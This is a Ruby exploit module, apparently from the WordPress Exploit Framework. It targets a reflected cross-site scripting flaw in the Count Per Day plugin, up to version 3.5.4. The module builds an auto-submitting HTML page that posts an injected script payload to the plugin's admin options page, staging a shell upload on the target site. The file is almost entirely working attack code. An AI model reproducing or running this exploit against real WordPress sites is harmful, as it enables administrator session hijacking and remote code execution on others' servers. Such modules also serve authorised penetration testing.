# frozen_string_literal: true

class Wpxf::Exploit::CountPerDayReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Count Per Day <= 3.5.4 Reflected XSS Shell Upload',
      author: [
        'Yorick Koster', # Discovery
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8597'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_count_per_day_wordpress_plugin.html']
      ],
      date: 'Aug 04 2016'
    )
  end

  def check
    check_plugin_version_from_readme('count-per-day', '3.5.5')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'options-general.php?page=count-per-day%2Fcounter-options.php')
  end

  def initial_script
    %|<html><head></head><body><script>
      #{js_post}
      post('#{vulnerable_url}', {
        limit: "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><input value=\\\""
      });
    </script></body></html>
    |
  end
end
